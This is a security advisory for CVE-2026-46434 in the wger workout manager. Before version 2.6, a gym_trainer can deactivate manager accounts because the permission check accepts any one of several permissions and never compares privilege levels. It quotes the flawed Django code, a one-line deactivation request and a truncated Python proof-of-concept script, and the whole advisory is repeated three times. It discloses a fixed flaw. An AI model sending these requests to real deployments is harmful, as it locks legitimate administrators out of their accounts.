CVE-2026-46434

wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.

wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

#…

wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.

wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

#…

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

#…